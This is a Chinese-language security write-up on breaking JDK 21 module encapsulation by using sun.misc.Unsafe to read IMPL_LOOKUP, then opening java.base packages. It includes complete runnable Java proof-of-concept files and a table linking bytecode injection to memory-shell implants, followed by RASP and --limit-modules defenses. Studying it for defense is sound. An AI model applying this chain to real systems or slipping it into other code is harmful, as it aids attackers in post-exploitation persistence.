JDK 21 强封装突破:从 Unsafe 到 IMPL_LOOKUP 的权限提升利用链
JDK 9 引入 Java Platform Module System(JPMS),把 JDK 内部实现按模块划分,用 exports 和 opens 两个指令控制包的可见性。JDK 16 将 --illegal-access 默认值改为 deny,JDK 17 直接移除该选项。到 JDK 21,强封装已成为不可逆的既成事实。
0x00 问题的起点
任何试图通过 Field.setAccessible(true) 或 Method.setAccessible(true) 访问 java.base 模块内部类的代码,运行时立刻抛出 InaccessibleObjectException。大量安全工具、序列化框架、Agent 注入链因此断裂。
TestEncapsulation.java
import java.lang.reflect.Field;
public class TestEncapsulation {
public static void main(String[] args) {
try {
System.out.println("--- 尝试利用反射打破 JDK 21 强封装 ---");
// 1. 获取 java.base 模块内部的私有静态字段 IMPL_LOOKUP
Field f = Class.forName("java.lang.invoke.MethodHandles$Lookup")
.getDeclaredField("IMPL_LOOKUP");
System.out.println("成功获取到 Field 对象: " + f);
// 2. 尝试破解访问限制(在 JDK 17+ 默认会被强封装拦截)
System.out.println("执行 f.setAccessible(true)...");
f.setAccessible(true);
System.out.println("【验证失败】竟然成功打破了强封装?!");
} catch (Exception e) {
System.out.println("\n【验证成功】触发预期异常:");
e.printStackTrace();
}
}
}直接抛出 InaccessibleObjectException

模块系统的访问检查发生在 AccessibleObject.checkCanSetAccessible() 方法内。该方法检查目标成员所在包是否对调用者模块 open。java.base 模块的 java.lang.invoke 包既没有 export 给未命名模块的深度反射权限,更没有 opens,这条路被堵死。
但 JDK 自身内部仍然需要跨模块的深度访问能力。这个能力被封装在一个特殊对象里——MethodHandles.Lookup 类的静态字段 IMPL_LOOKUP。拿到它,等价于拿到 JVM 内部的万能钥匙。
0x01 实验环境
组件 | 版本 / 配置 |
操作系统 | Kali Linux 2026.1 (kernel 6.x) |
JDK | OpenJDK 21.0.x (build 21.0.x+xx) |
编译/运行 |
|
第三方依赖 | 无 |
环境搭建步骤
确认版本
java -version
javac -version
确认模块系统可用
java --list-modules | head -5
验证模块封装生效
TestEncapsulation.java
import java.lang.reflect.Field;
public class TestEncapsulation {
public static void main(String[] args) throws Exception {
// 尝试通过反射访问 java.base 内部字段
Field f = Class.forName("java.lang.invoke.MethodHandles$Lookup")
.getDeclaredField("IMPL_LOOKUP");
System.out.println("[*] Field 对象获取成功: " + f);
System.out.println("[*] Field 类型: " + f.getType());
System.out.println("[*] Field 修饰符: " + f.getModifiers());
// 这一步将失败
System.out.println("[*] 尝试 setAccessible(true)...");
f.setAccessible(true);
System.out.println(f.get(null));
}
}编译运行
javac TestEncapsulation.java
java TestEncapsulation
Field 修饰符: 24。24 = 0x18 = Modifier.STATIC (0x08) | Modifier.FINAL (0x10),说明 IMPL_LOOKUP 是一个 static final 字段。这是一个包级私有(package-private)的静态常量——它没有 public/private/protected 修饰符(第 0~2 位均为 0)。
包级私有的可见性恰好说明它只打算在
java.lang.invoke包内部使用。
0x02 模块系统访问控制分析
理解绕过前,必须搞清楚检查逻辑。
当调用 setAccessible(true) 时,调用栈进入 java.lang.reflect.AccessibleObject 的以下方法:

核心判断在 declaringModule.isOpen(pn, callerModule)。java.base 模块的 module-info.java 里,java.lang.invoke 包只有 exports(编译期可见),没有 opens(运行期深度反射不可用)。因此该检查必定返回 false。
调用栈追踪验证
可以通过抛出异常时的堆栈确认整个调用链路:
java TestEncapsulation 2>&1 | grep "at " | head -10
exports 与 opens 的本质区别
指令 | 编译期 | 运行期反射 | setAccessible |
| public 类型可见 | public 成员可反射 | 非 public 成员不可 setAccessible |
| 不影响 | 所有成员可反射 | 所有成员可 setAccessible |
未声明 | 完全不可见 | 完全不可反射 | 完全不可 setAccessible |
java.base的java.lang.invoke包属于exports状态——公有类MethodHandles、MethodHandle等可以正常使用,但内部字段和非公有方法通过反射无法触及。
验证包的 exports/opens 状态
CheckModuleState.java
public class CheckModuleState {
public static void main(String[] args) {
Module javaBase = Object.class.getModule();
Module myModule = CheckModuleState.class.getModule();
String[] packages = {
"java.lang",
"java.lang.invoke",
"jdk.internal.misc",
"jdk.internal.access"
};
System.out.println("当前模块: " + myModule);
System.out.println("目标模块: " + javaBase);
System.out.println();
for (String pkg : packages) {
boolean exported = javaBase.isExported(pkg, myModule);
boolean opened = javaBase.isOpen(pkg, myModule);
System.out.printf("%-25s exported=%-5s opened=%-5s%n",
pkg, exported, opened);
}
}
}编译运行
javac CheckModuleState.java && java CheckModuleState
java.lang.invoke 包是 exported 但不 opened——公有 API 可用,内部字段(如 IMPL_LOOKUP)不可通过反射触及。jdk.internal.misc 更为严格,连 export 都没有。
Class.getDeclaredField() 本身不受 opens 限制。你可以拿到 Field 对象(元数据),只是无法调用 setAccessible(true) 来读写它的值。这个差异是整条利用链的突破口之一。
0x03 MethodHandles.Lookup 的信任体系
MethodHandles.Lookup是 JDK 方法句柄机制的访问控制核心。每个 Lookup 实例携带两个关键属性:lookupClass(视角类)和 allowedModes(访问模式位掩码)。JVM 根据这两个属性决定该 Lookup 能访问哪些成员。
访问模式位定义
以下常量定义在 MethodHandles.Lookup 内部:

各模式位的二进制对照:
常量 | 十六进制 | 二进制 | 含义 |
PUBLIC | 0x01 | 0000001 | 可访问 public 成员 |
PRIVATE | 0x02 | 0000010 | 可访问 private 成员 |
PROTECTED | 0x04 | 0000100 | 可访问 protected 成员 |
PACKAGE | 0x08 | 0001000 | 可访问包级成员 |
MODULE | 0x10 | 0010000 | 可访问模块内成员 |
UNCONDITIONAL | 0x20 | 0100000 | 无条件公有访问 |
ORIGINAL | 0x40 | 1000000 | 原始访问 |
TRUSTED | 0xFFFFFFFF | 全部置1 | 完全可信 |
TRUSTED = -1 在补码表示下即 0xFFFFFFFF,所有模式位全部置 1。持有 TRUSTED 模式的 Lookup 可以访问任意模块、任意包、任意访问级别的成员。
IMPL_LOOKUP 的定义

三个参数:
lookupClass = Object.class(位于java.lang包,java.base模块);previousLookupClass = null;allowedModes = TRUSTED。
它以 java.base 模块的视角持有完全信任的访问权限。在代码中通过 MethodHandles.Lookup.class.getDeclaredField("IMPL_LOOKUP") 获取其 Field 元数据。
权限检查流程
当调用 Lookup.findVirtual()、findStatic()、findGetter() 等方法时,内部执行 checkAccess():

IMPL_LOOKUP 的 allowedModes = -1 使得所有访问检查短路。拿到这个对象,就拿到了 JVM 内部的超级权限。

验证普通 Lookup 的权限限制
TestLookupModes.java
import java.lang.invoke.*;
public class TestLookupModes {
public static void main(String[] args) throws Exception {
// 获取当前类的 Lookup
MethodHandles.Lookup myLookup = MethodHandles.lookup();
System.out.println("当前 Lookup: " + myLookup);
System.out.println("lookupClass: " + myLookup.lookupClass());
System.out.println("lookupModes: 0x" +
Integer.toHexString(myLookup.lookupModes()));
System.out.println();
// 尝试用普通 Lookup 访问内部 API
try {
Class<?> internalUnsafe = Class.forName("jdk.internal.misc.Unsafe");
myLookup.findStatic(internalUnsafe, "getUnsafe",
MethodType.methodType(internalUnsafe));
System.out.println("[+] 访问成功(不应到达此处)");
} catch (IllegalAccessException e) {
System.out.println("[-] 普通 Lookup 无法访问内部 API:");
System.out.println(" " + e.getMessage());
}
// publicLookup 的权限更低
MethodHandles.Lookup pubLookup = MethodHandles.publicLookup();
System.out.println();
System.out.println("publicLookup: " + pubLookup);
System.out.println("lookupModes: 0x" +
Integer.toHexString(pubLookup.lookupModes()));
}
}编译运行
javac TestLookupModes.java && java TestLookupModes
在 JDK 21 环境下,普通 Lookup(0x5f) 哪怕在本地模块内权限全满,也因为缺失 0x20 权限而无法染指核心内部 API;而 publicLookup(0x20) 步子迈得大却毫无深层访问权。
0x04 获取 sun.misc.Unsafe 实例
整条利用链的入口是
sun.misc.Unsafe。
jdk.unsupported 模块的 module-info
OpenJDK 21 的 jdk.unsupported 模块定义:

opens sun.misc 意味着任何模块(包括未命名模块,即 classpath 代码)都可以对 sun.misc 包内的类执行 setAccessible(true)。JDK 保留这个口子的原因是大量生态框架(Netty、Gson、Kryo 等)依赖 sun.misc.Unsafe,贸然关闭会引发大面积兼容性灾难。
验证 jdk.unsupported 的开放状态
CheckUnsupportedModule.java
public class CheckUnsupportedModule {
public static void main(String[] args) throws Exception {
// 查找 jdk.unsupported 模块
Module unsupportedModule = ModuleLayer.boot().findModule("jdk.unsupported")
.orElseThrow(() -> new RuntimeException("jdk.unsupported 模块不存在"));
Module myModule = CheckUnsupportedModule.class.getModule();
System.out.println("jdk.unsupported 模块: " + unsupportedModule);
System.out.println("当前模块: " + myModule);
System.out.println();
// 检查 sun.misc 包的状态
System.out.println("sun.misc exported: " +
unsupportedModule.isExported("sun.misc", myModule));
System.out.println("sun.misc opened: " +
unsupportedModule.isOpen("sun.misc", myModule));
System.out.println();
// 对比 java.base 的 java.lang.invoke
Module javaBase = Object.class.getModule();
System.out.println("java.lang.invoke exported: " +
javaBase.isExported("java.lang.invoke", myModule));
System.out.println("java.lang.invoke opened: " +
javaBase.isOpen("java.lang.invoke", myModule));
}
}编译运行
javac CheckUnsupportedModule.java && java CheckUnsupportedModule
获取 Unsafe 实例
GetUnsafe.java
import sun.misc.Unsafe;
import java.lang.reflect.Field;
public class GetUnsafe {
public static void main(String[] args) throws Exception {
// 获取 theUnsafe 字段
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
System.out.println("[*] theUnsafe 字段: " + theUnsafeField);
System.out.println("[*] 字段所在模块: " +
Unsafe.class.getModule());
// setAccessible - 因为 jdk.unsupported opens sun.misc,所以允许
theUnsafeField.setAccessible(true);
System.out.println("[+] setAccessible(true) 成功");
// 读取字段值
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
System.out.println("[+] Unsafe 实例: " + unsafe);
System.out.println("[+] Unsafe 类名: " + unsafe.getClass().getName());
// 验证 Unsafe 的关键方法可用
System.out.println("[*] addressSize: " + unsafe.addressSize());
System.out.println("[*] pageSize: " + unsafe.pageSize());
}
}GetUnsafe.java使用了内部专用 API (sun.misc.Unsafe)。
javac GetUnsafe.java 2>&1编译成功,仅有警告

java GetUnsafe
sun.misc.Unsafe 与 jdk.internal.misc.Unsafe 的关系
类 | 所属模块 | exports | opens | 可直接反射获取 |
| jdk.unsupported | 是 | 是 | 可以 |
| java.base | 仅对特定模块 | 否 | 不可以 |
sun.misc.Unsafe 本质上是 jdk.internal.misc.Unsafe 的委托包装。我们需要的关键方法——staticFieldOffset() 和 getObject()——在 sun.misc.Unsafe 上同样可用,足以完成后续操作。
0x05 从 Unsafe 到 IMPL_LOOKUP
这是整条链中最关键的一步。
Unsafe.getObject()直接从对象的内存布局中读取字段值,完全绕过java.lang.reflect的访问检查和模块系统的 opens 验证。
原理拆解
JVM 中的静态字段存储在类的元数据区域(Klass 结构的 mirror 对象上)。
Unsafe.staticFieldOffset(Field)返回该字段在对应 Class 对象上的内存偏移量,Unsafe.getObject(Class, offset)直接从该偏移量读取引用值。这两个操作发生在 JVM native 层,不经过任何 Java 层面的访问控制。
HotSpot 中 Unsafe.getObject 的 native 实现:
// src/hotspot/share/prims/unsafe.cpp
UNSAFE_ENTRY(jobject, Unsafe_GetObject(JNIEnv* env, jobject unsafe,
jobject obj, jlong offset)) {
oop p = JNIHandles::resolve(obj);
assert_field_offset_sane(p, offset);
oop v = HeapAccess<>::oop_load_at(p, offset); // 直接内存读取
return JNIHandles::make_local(THREAD, v);
} UNSAFE_ENDHeapAccess::oop_load_at 是裸内存读取,不涉及任何 Java 访问控制逻辑。这是绕过的根本原因——模块系统的检查运作在 Java 反射框架层面,而 Unsafe 在 JVM native 层面操作内存,两者不在同一个抽象层级。
为什么 getDeclaredField 不抛异常
Class.getDeclaredField(String name) 的实现(OpenJDK 21):
// src/java.base/share/classes/java/lang/Class.java
@CallerSensitive
public Field getDeclaredField(String name) throws NoSuchFieldException {
Objects.requireNonNull(name);
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
checkMemberAccess(sm, Member.DECLARED, ...);
}
Field field = searchFields(privateGetDeclaredFields(false), name);
if (field == null) throw new NoSuchFieldException(name);
return getReflectionFactory().copyField(field);
}JDK 21 中 SecurityManager 已被标记为 deprecated for removal(JEP 411),默认未安装,sm 为 null。方法直接返回 Field 对象的副本,不检查模块边界。我们可以拿到 IMPL_LOOKUP 字段的元数据(名称、类型、偏移量),只是不能通过 Field.get() 读取值——但 Unsafe 直接从内存读,不需要 Field.get()。
实现代码
LookupEscalation.java
import sun.misc.Unsafe;
import java.lang.invoke.MethodHandles;
import java.lang.reflect.Field;
public class LookupEscalation {
public static MethodHandles.Lookup getImplLookup() throws Exception {
// Step 1: 获取 Unsafe 实例
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
// Step 2: 获取 IMPL_LOOKUP 字段的 Field 对象
// getDeclaredField 不受 opens 限制,只获取元数据
Field implLookupField = MethodHandles.Lookup.class
.getDeclaredField("IMPL_LOOKUP");
// Step 3: 通过 Unsafe 获取静态字段偏移量
long offset = unsafe.staticFieldOffset(implLookupField);
// Step 4: 直接从内存读取 IMPL_LOOKUP 的值
MethodHandles.Lookup implLookup = (MethodHandles.Lookup)
unsafe.getObject(MethodHandles.Lookup.class, offset);
return implLookup;
}
public static void main(String[] args) throws Exception {
MethodHandles.Lookup implLookup = getImplLookup();
System.out.println("[+] IMPL_LOOKUP: " + implLookup);
System.out.println("[+] lookupModes: 0x" +
Integer.toHexString(implLookup.lookupModes()));
}
}编译运行
javac LookupEscalation.java && java LookupEscalation
lookupModes() 方法内部会将 allowedModes 与 ALL_MODES(0x7F) 做 AND 运算再返回,因此 TRUSTED 模式的 -1 & 0x7F = 0x7F。toString() 显示 java.lang.Object/noaccess 是因为 Lookup.toString() 对 TRUSTED 模式做了特殊处理,不暴露实际权限。
0x06 利用 IMPL_LOOKUP 突破模块边界
拿到 IMPL_LOOKUP 后可以做什么?
场景一:动态打开任意模块包
java.lang.Module 类有一个非公有方法 implAddOpens(String pn, Module other),可以在运行时将指定包对目标模块开放深度反射。正常代码无法调用它,但 IMPL_LOOKUP 不受此限制。
ModuleBreaker.java
import sun.misc.Unsafe;
import java.lang.invoke.*;
import java.lang.reflect.Field;
public class ModuleBreaker {
public static void main(String[] args) throws Throwable {
// 获取 IMPL_LOOKUP(复用前文的方法)
Field theUnsafeField = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Field implField = MethodHandles.Lookup.class.getDeclaredField("IMPL_LOOKUP");
long offset = unsafe.staticFieldOffset(implField);
MethodHandles.Lookup implLookup = (MethodHandles.Lookup)
unsafe.getObject(MethodHandles.Lookup.class, offset);
// 打开前:验证 jdk.internal.misc 不可反射
Module javaBase = Object.class.getModule();
Module myModule = ModuleBreaker.class.getModule();
System.out.println("[*] 打开前 jdk.internal.misc opened: " +
javaBase.isOpen("jdk.internal.misc", myModule));
// 调用 Module.implAddOpens
MethodHandle implAddOpens = implLookup.findVirtual(
Module.class,
"implAddOpens",
MethodType.methodType(void.class, String.class, Module.class)
);
implAddOpens.invoke(javaBase, "jdk.internal.misc", myModule);
// 打开后验证
System.out.println("[+] 打开后 jdk.internal.misc opened: " +
javaBase.isOpen("jdk.internal.misc", myModule));
// 现在可以用传统反射访问 jdk.internal.misc.Unsafe
Class<?> internalUnsafe = Class.forName("jdk.internal.misc.Unsafe");
java.lang.reflect.Method getUnsafe =
internalUnsafe.getDeclaredMethod("getUnsafe");
getUnsafe.setAccessible(true); // 不再抛异常
Object theInternalUnsafe = getUnsafe.invoke(null);
System.out.println("[+] jdk.internal.misc.Unsafe: " + theInternalUnsafe);
}
}编译运行
javac ModuleBreaker.java && java ModuleBreaker
变化: opened: false → opened: true 。
场景二:直接通过 IMPL_LOOKUP 访问内部 API
IMPL_LOOKUP 本身就拥有完全信任权限,可以直接通过 findStatic / findVirtual 获取任意内部方法的 MethodHandle,不需要先打开模块:
// 直接获取 jdk.internal.misc.Unsafe.getUnsafe() 的 MethodHandle
Class<?> internalUnsafeClass = Class.forName("jdk.internal.misc.Unsafe");
MethodHandle mh = implLookup.findStatic(
internalUnsafeClass,
"getUnsafe",
MethodType.methodType(internalUnsafeClass)
);
Object internalUnsafe = mh.invoke();场景一的价值在于"打开后可以用传统反射",适合需要批量操作的情况。场景二更轻量,适合精确调用某个特定方法。
场景三:运行时字节码注入
通过 IMPL_LOOKUP 调用 MethodHandles.Lookup.defineClass(byte[]),可以在任意包内定义新类:
// 构造一个以 java.lang.Thread 为 lookupClass 的 Lookup
MethodHandle privateLookupCtor = implLookup.findConstructor(
MethodHandles.Lookup.class,
MethodType.methodType(void.class,
Class.class, Class.class, int.class)
);
MethodHandles.Lookup threadLookup = (MethodHandles.Lookup)
privateLookupCtor.invoke(Thread.class, null, -1);
// 用该 Lookup 在 java.lang 包内定义一个新类
byte[] classBytes = generateClassBytes(); // 自定义字节码
Class<?> injected = threadLookup.defineClass(classBytes);在
java.base模块的包内定义类需要字节码的包名与 lookupClass 一致。defineClass内部会检查classBytes中定义的类的包名是否与 Lookup 的lookupClass所在包匹配。字节码生成可用 ASM 库或手工构造。
三种场景的对比
场景 | 操作方式 | 效果范围 | 适用情况 |
打开模块包 | Module.implAddOpens | 当前 JVM 生命周期内,所有反射调用可用 | 需要对目标包做大量反射操作 |
直接 MethodHandle | implLookup.findXxx | 单次方法调用 | 精确调用某个内部方法 |
字节码注入 | Lookup.defineClass | 在目标包内植入持久化类 | 内存马注入、Agent 逻辑植入 |
0x07 完整 POC
ModuleBypass.java
import sun.misc.Unsafe;
import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles;
import java.lang.invoke.MethodType;
import java.lang.reflect.Field;
public class ModuleBypass {
public static void main(String[] args) {
try {
System.out.println("[*] JDK version: " +
System.getProperty("java.version"));
System.out.println("[*] Module system active: " +
ModuleBypass.class.getModule());
System.out.println();
// ========== Phase 1: 获取 sun.misc.Unsafe ==========
System.out.println("[Phase 1] 获取 sun.misc.Unsafe 实例");
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
System.out.println(" [+] Unsafe 实例: " +
unsafe.getClass().getName());
// ========== Phase 2: 获取 IMPL_LOOKUP ==========
System.out.println("[Phase 2] 通过 Unsafe 内存直读获取 IMPL_LOOKUP");
Field implField = MethodHandles.Lookup.class
.getDeclaredField("IMPL_LOOKUP");
long offset = unsafe.staticFieldOffset(implField);
System.out.println(" [+] IMPL_LOOKUP 字段偏移量: " + offset);
MethodHandles.Lookup implLookup = (MethodHandles.Lookup)
unsafe.getObject(MethodHandles.Lookup.class, offset);
System.out.println(" [+] IMPL_LOOKUP: " + implLookup);
System.out.println(" [+] lookupModes: 0x" +
Integer.toHexString(implLookup.lookupModes()));
// lookupModes() 对外返回 allowedModes & ALL_MODES
// TRUSTED(-1) & 0x7F = 0x7F,包含全部标准模式位
// ========== Phase 3: 验证 - 访问 java.base 内部 API ==========
System.out.println("[Phase 3] 利用 IMPL_LOOKUP 访问 java.base 内部 API");
// 3a: 直接获取 jdk.internal.misc.Unsafe
Class<?> internalUnsafeClass = Class.forName(
"jdk.internal.misc.Unsafe");
MethodHandle getInternalUnsafe = implLookup.findStatic(
internalUnsafeClass,
"getUnsafe",
MethodType.methodType(internalUnsafeClass)
);
Object internalUnsafe = getInternalUnsafe.invoke();
System.out.println(" [+] jdk.internal.misc.Unsafe: " +
internalUnsafe.getClass().getName());
// 3b: 动态打开 java.base 的 java.lang.invoke 包
Module javaBase = Object.class.getModule();
Module myModule = ModuleBypass.class.getModule();
System.out.println(" [*] 打开前 java.lang.invoke opened: " +
javaBase.isOpen("java.lang.invoke", myModule));
MethodHandle implAddOpens = implLookup.findVirtual(
Module.class,
"implAddOpens",
MethodType.methodType(void.class,
String.class, Module.class)
);
implAddOpens.invoke(javaBase, "java.lang.invoke", myModule);
System.out.println(" [+] 打开后 java.lang.invoke opened: " +
javaBase.isOpen("java.lang.invoke", myModule));
// 3c: 验证打开效果 - 现在可以用传统反射访问 IMPL_LOOKUP
Field verifyField = MethodHandles.Lookup.class
.getDeclaredField("IMPL_LOOKUP");
verifyField.setAccessible(true); // 不再抛异常
Object verified = verifyField.get(null);
System.out.println(" [+] 传统反射验证成功: " + verified);
// ========== Phase 4: 深度访问验证 ==========
System.out.println("[Phase 4] 深度访问验证 - 读取 VM 内部状态");
// 获取 SharedSecrets,这是 java.base 内部的工具类
Class<?> sharedSecrets = Class.forName(
"jdk.internal.access.SharedSecrets");
MethodHandle getJavaLangAccess = implLookup.findStatic(
sharedSecrets,
"getJavaLangAccess",
MethodType.methodType(
Class.forName("jdk.internal.access.JavaLangAccess"))
);
Object jla = getJavaLangAccess.invoke();
System.out.println(" [+] JavaLangAccess: " +
jla.getClass().getName());
System.out.println();
System.out.println("[*] 利用链执行完毕,模块封装已完全突破");
} catch (Throwable e) {
System.err.println("[-] 执行失败: " + e);
e.printStackTrace();
}
}
}编译运行
javac ModuleBypass.java
java ModuleBypass输出

- Phase 1 的
Unsafe 实例: sun.misc.Unsafe— 确认 Unsafe 获取成功 - Phase 2 的
lookupModes: 0x7f— 确认拿到的是 TRUSTED 级别的 Lookup - Phase 3 的
opened: false → opened: true— 确认模块包被动态打开 - Phase 4 的
JavaLangAccess: java.lang.System$2— 确认可访问深层内部 API
0x08 完整攻击链路图
0x09 防御与缓解
JVM 层面
1. 使用 --limit-modules 排除 jdk.unsupported
java --limit-modules java.base,java.logging,java.sql -jar app.jar如果应用不依赖 sun.misc.Unsafe(或可以替换为 java.lang.invoke.VarHandle),直接排除 jdk.unsupported 模块。此时 Unsafe.class 不可加载,利用链在第一步就断裂。
排除效果:
java --limit-modules java.base ModuleBypass
2. 自定义 SecurityManager(JDK 21 仍可用,仅是 deprecated for removal)
// 限制 setAccessible 调用
System.setSecurityManager(new SecurityManager() {
@Override
public void checkPermission(java.security.Permission perm) {
if (perm instanceof java.lang.reflect.ReflectPermission
&& "suppressAccessChecks".equals(perm.getName())) {
// 检查调用栈,限制非信任代码
throw new SecurityException("blocked setAccessible");
}
}
});SecurityManager 在 JDK 17 被标记为
deprecated for removal(JEP 411),JDK 21 中仍然可用但会打印警告。
3. 关注 JDK 路线图中的 Unsafe 替代
JDK 正在推进 sun.misc.Unsafe 的废弃计划(JEP 471),逐步用 VarHandle 和 Foreign Function & Memory API 替代其功能。当 jdk.unsupported 模块最终被移除,这条利用链的入口将被关闭。
应用层面
4. RASP 检测
监控以下行为组合作为告警指标:
- 对
sun.misc.Unsafe.theUnsafe字段的反射访问 Unsafe.staticFieldOffset()的调用目标指向java.lang.invoke包内的字段Module.implAddOpens()的 MethodHandle 调用
5. Java Agent 监控
通过 Instrumentation API 对 sun.misc.Unsafe.getObject() 做字节码插桩,记录所有对 MethodHandles.Lookup.class 的内存读取操作。
0x0A 模块访问控制流程
0x0B 回顾
模块系统的访问控制运作在 Java 语言层面。它检查的是"谁在调用 setAccessible"、"目标包是否 opens"。但 sun.misc.Unsafe 提供的是 JVM 层面的原始内存操作能力,根本不经过 Java 的访问控制框架。
这构成了一个设计上的矛盾:JDK 需要 Unsafe 来支撑自身的高性能实现(CAS 操作、内存屏障、直接内存分配),同时又把它放在一个对外开放的模块里以维持生态兼容。jdk.unsupported 模块的 opens sun.misc 声明,等于在模块系统的围墙上留了一扇门,钥匙发给了所有 classpath 代码。
这不是一个可以通过简单补丁修复的问题。它反映的是安全边界抽象层级的错位——模块系统在 Java 语言层做访问控制,Unsafe 在 native 层提供内存操作,高层控制无法约束低层能力。JDK 的长期解决方案是彻底移除 sun.misc.Unsafe 的外部可见性(JEP 471),但这需要整个 Java 生态完成迁移,过渡期以年为单位。
在这个窗口期内,任何获得 JVM 内代码执行能力的攻击者,都可以通过本文描述的利用链完全瓦解模块封装。防御者需要在 RASP 和运行时监控层面建立检测能力,而不是仅依赖模块系统的静态声明。
本文仅用于安全研究与技术交流,请勿用于未授权的渗透测试